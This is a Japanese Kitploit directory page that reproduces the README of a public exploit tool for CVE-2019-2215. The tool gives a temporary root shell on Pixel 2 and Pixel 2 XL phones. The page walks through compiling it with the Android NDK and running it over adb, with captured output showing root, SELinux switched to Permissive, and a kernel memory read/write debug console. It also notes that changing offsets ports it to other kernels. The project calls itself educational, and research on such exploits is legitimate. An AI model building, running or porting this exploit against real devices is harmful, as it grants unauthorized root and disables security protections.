Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/kangtastic/cve-2019-2215
Androidセキュリティ特権昇格メモリフォレンジックエクスプロイトデバッガ学習と教育バイナリエクスプロイト
GitHubkangtastic/cve-2019-2215

cve-2019-2215

CVE-2019-2215 を利用した Pixel 2 および Pixel 2 XL 向け Temproot

リポジトリを見る
134556年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-2215

CVE-2019-2215 を利用した Pixel 2 / Pixel 2 XL 用 Temproot

(Google Project Zero の Jann Horn & Maddie Stone による概念実証に基づく)


概要

カーネルメモリの読み書き専用の権限昇格攻撃のデモで、一時的な root シェルを取得します。

動作対象は、カーネルバージョン-BuildID 4.4.177-g83bee1dc48e8 の 2019年9月 QP1A.190711.020 イメージを実行している Google Pixel 2/Pixel 2 XL (walleye/taimen) デバイスです。

このツールを同じ脆弱性の影響を受ける他のデバイスやカーネルで動作させるには、いくつかのオフセットを見つけて変更する必要があります。Project Zero のバグトラッカーで述べられているように、これはそれほど難しいことではありません。

また、カーネルメモリを操作するための hex エディタ風インターフェースと、シェルを起動する機能を備えたミニデバッグコンソールも同梱されています。

免責事項

  • このツールとそのソースコードは、記録および教育目的でのみ公開されています。

  • このツールを使用しないでください。悪い考えです。

  • ヘルプ、サポート、アップデート—どれも提供しません。

コンパイル

便宜上、Android NDK r19 以降のクロスコンパイラツールチェーンで動作する Makefile が同梱されています。

root@kitploit:~
# Download the Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip

# Extract the NDK and set its path as $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip  # optional
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20

# Clone the `cve-2019-2215` git repository and `cd` into it.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215

# Compile the binary.
user@host:~/cve-2019-2215$ make all  # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped

使用方法

(サンプル出力は adb 経由で Pixel 2 XL 上で取得したもの)

Temproot

バイナリをコンパイルしたら、デバイスに転送して実行可能にし、実行します。(/data/ 配下のどこかで問題なく動作します。)

例

root@kitploit:~
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
[+] bypass SELinux and patch current credentials
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $

成功は保証されておらず、デバイスが完全にクラッシュする可能性もありますが、通常は SELinux が Permissive に設定され、root シェルが起動します。

デバッグコンソール

カーネルメモリの読み書きを確立した後、権限昇格ルーチンの代わりにミニデバッグコンソールを起動するには、コマンドライン引数として debug のみを渡します。

コマンドリファレンス

root@kitploit:~
debug> help
quick help
    print
        print kernel base address, some kernel symbol offsets,
        and address of current task_struct as hexstrings
    read <kaddr> <len>
        read <len> bytes from <kaddr> and display as a hexdump
        <kaddr> is a hexstring not prefixed with 0x
        <len> is 1-4096 or 0x1-0x1000
    write <kaddr> <data>
        write <data> to <kaddr>
        <kaddr> is a hexstring not prefixed with 0x
        <data> is 1-4096 hexbytes, spaces ignored, to be written *AS-IS*
        e.g. if kaddr 0xffffffffdeadbeef contains an int, and you want to set
        its value to 1, enter 'write ffffffffdeadbeef <data>', where <data> is
        '01000000', '0100 0000', '01 00 0 0 00', etc. (our ARM is little-endian)
    shell
        launch a shell (hint: did we ~somehow~ become another user? :P)
    help
        print this help
    exit
        exit debug console

例

非特権ユーザーとして、SELinux を Permissive から Enforcing に戻します。

root@kitploit:~
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
launching debug console, enter 'help' for quick help
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff  ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000  .#@.............
ffffff9bafc4e4c8: 0000 00                                  ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000                                ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $
ツールをダウンロード